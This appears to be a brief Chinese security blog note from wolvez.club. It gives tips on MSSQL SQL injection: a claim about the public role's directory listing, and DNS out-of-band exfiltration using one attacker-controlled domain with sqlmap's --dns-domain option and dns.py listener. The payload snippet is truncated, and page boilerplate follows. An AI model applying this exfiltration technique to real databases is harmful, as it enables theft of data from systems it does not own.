-
public 权限下不能列任何目录(网上很多文章说public能列)
-
mssql dns 回显注入: 网上教程说需要两个域名,实际一个域名就可以:) 配置域名:
条件:支持多语句执行
1 |
DECLARE @host varchar(1024); |
远程外网服务器监听: ./sqlmap/lib/request/dns.py
即可有回显结果
- sqlmap 可直接利用dns 回显注入来突破鸡肋的延时注入
sqlmap --dns-domain bind.google.com(你的域名)
Source:wolvez.club | Author:wolvez
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can…
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论